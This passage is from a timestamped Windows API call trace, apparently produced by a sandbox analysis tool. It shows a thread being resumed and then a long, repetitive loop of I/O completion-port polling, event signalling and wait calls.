Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0255.365] ResumeThread (hThread=0x19c) returned 0x1
	[0255.365] CloseHandle (hObject=0x19c) returned 1
	[0255.365] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0255.403] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0255.403] SetEvent (hEvent=0x190) returned 1
	[0255.403] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0255.445] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0255.446] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0255.483] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0255.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0256.564] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0256.564] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0256.564] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0256.586] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0256.586] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0256.588] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0256.590] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0256.597] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0256.603] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0256.603] SetEvent (hEvent=0x188) returned 1
	[0256.603] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0256.634] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0256.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0256.685] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0256.686] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0256.686] SetEvent (hEvent=0x188) returned 1
	[0256.686] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0256.771] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0256.771] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0256.827] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0256.828] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0256.828] SetEvent (hEvent=0x188) returned 1
	[0256.828] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.059] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.059] SetEvent (hEvent=0x188) returned 1
	[0257.059] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.098] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0257.098] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0257.150] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0257.151] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.151] SetEvent (hEvent=0x188) returned 1
	[0257.151] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.206] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.207] SetEvent (hEvent=0x188) returned 1
	[0257.207] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.253] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.253] SetEvent (hEvent=0x188) returned 1
	[0257.254] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.301] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.301] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.370] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.370] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.409] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.410] SetEvent (hEvent=0xfc) returned 1
	[0257.410] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.448] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.448] SetEvent (hEvent=0xfc) returned 1
	[0257.448] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.490] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.490] SetEvent (hEvent=0xfc) returned 1
	[0257.490] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.531] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.531] SetEvent (hEvent=0xfc) returned 1
	[0257.531] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.567] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.567] SetEvent (hEvent=0xfc) returned 1
	[0257.567] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.602] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.602] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.604] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.610] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.622] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0257.622] SetEvent (hEvent=0xe4) returned 1
	[0257.622] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0257.624] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0257.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0258.362] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0258.363] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0258.363] SetEvent (hEvent=0xe4) returned 1
	[0258.363] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0258.376] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0258.376] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0261.747] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0261.748] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0261.748] SetEvent (hEvent=0xe4) returned 1
	[0261.748] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0261.749] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0261.749] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0261.793] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0261.794] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0261.794] SetEvent (hEvent=0xe4) returned 1
	[0261.794] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0261.796] SetEvent (hEvent=0xe4) returned 1
	[0261.796] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0261.797] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0261.797] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0261.875] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0261.875] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0261.876] SetEvent (hEvent=0xe4) returned 1
	[0261.876] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0261.914] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0261.914] SetEvent (hEvent=0xe4) returned 1
	[0261.914] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0261.960] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0261.960] SetEvent (hEvent=0xe4) returned 1
	[0261.960] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0262.048] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0262.049] SetEvent (hEvent=0xe4) returned 1
	[0262.049] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0262.138] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0262.138] SetEvent (hEvent=0xe4) returned 1
	[0262.138] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0262.187] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0262.187] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0262.233] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0262.233] SetEvent (hEvent=0xfc) returned 1
	[0262.233] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0262.335] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0262.335] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0262.929] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0262.929] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0262.929] SetEvent (hEvent=0xfc) returned 1
	[0262.930] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0262.965] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0262.965] SetEvent (hEvent=0xfc) returned 1
	[0262.965] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.019] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.019] SetEvent (hEvent=0xfc) returned 1
	[0263.019] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.070] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.070] SetEvent (hEvent=0xfc) returned 1
	[0263.070] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.111] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.111] SetEvent (hEvent=0xfc) returned 1
	[0263.111] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.157] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.157] SetEvent (hEvent=0xfc) returned 1
	[0263.157] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.200] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.200] SetEvent (hEvent=0xfc) returned 1
	[0263.200] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.249] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.249] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.293] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.293] SetEvent (hEvent=0x188) returned 1
	[0263.293] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.336] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.336] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.381] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.381] SetEvent (hEvent=0xfc) returned 1
	[0263.381] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.420] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.420] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.457] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.457] SetEvent (hEvent=0x188) returned 1
	[0263.457] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.494] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.494] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.529] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.529] SetEvent (hEvent=0x188) returned 1
	[0263.529] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.568] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.568] SetEvent (hEvent=0x188) returned 1
	[0263.568] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.616] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.616] SetEvent (hEvent=0x188) returned 1
	[0263.616] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.653] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.653] SetEvent (hEvent=0x188) returned 1
	[0263.653] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.707] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.708] SetEvent (hEvent=0x188) returned 1
	[0263.708] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.751] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.751] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.789] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.789] SetEvent (hEvent=0xfc) returned 1
	[0263.789] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.864] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.864] SetEvent (hEvent=0xfc) returned 1
	[0263.864] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.900] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0263.900] SetEvent (hEvent=0xfc) returned 1
	[0263.900] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0263.935] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0263.936] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0264.058] timeBeginPeriod (uPeriod=0x1) returned 0x0
